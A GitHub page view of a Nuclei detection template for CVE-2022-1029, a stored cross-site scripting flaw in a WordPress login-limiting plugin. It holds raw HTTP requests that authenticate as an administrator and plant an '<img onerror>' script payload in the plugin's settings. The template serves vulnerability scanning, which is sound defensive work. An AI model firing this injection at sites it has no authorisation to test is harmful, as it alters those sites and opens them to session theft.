-
Notifications
You must be signed in to change notification settings - Fork 3.4k
Expand file tree
/
Copy pathCVE-2022-1029.yaml
More file actions
62 lines (54 loc) · 2.17 KB
/
CVE-2022-1029.yaml
File metadata and controls
62 lines (54 loc) · 2.17 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
id: CVE-2022-1029
info:
name: Limit Login Attempts - Stored Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
Limit Login Attempts WordPress plugin < 4.0.72 contains a stored cross-site scripting caused by unsanitized and unescaped settings, letting malicious administrators inject Javascript code, exploit requires administrator privileges.
impact: |
Attackers with administrator privileges can execute malicious Javascript in the context of the site, potentially stealing cookies or hijacking user sessions.
remediation: |
Update to version 4.0.72 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-1029
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2022-1029
epss-score: 0.00455
epss-percentile: 0.63865
cwe-id: CWE-79
metadata:
verified: true
max-requests: 2
public-www: "/wp-content/plugins/miniorange-limit-login-attempts/"
tags: cve,cve2022,wordpress,wp,wp-plugin,miniorange-limit-login-attempts,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
POST /wp-admin/admin.php?page=advancedblocking HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
option=mo_wpns_block_referrer&referrer_1=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "referrerblockingtable", "<img src=x onerror=alert(document.domain)>")'
condition: and
# digest: 4a0a00473045022100d5006aef6afa4f286e55839383edb7ba25866d457a42560384bb313316df6ce202201e3bc69d59d0ad09fa0f2dbf8fc45f354b264b2f76a0ab66255ec636394e4bc4:922c64590222798bb761d5b6d8e72950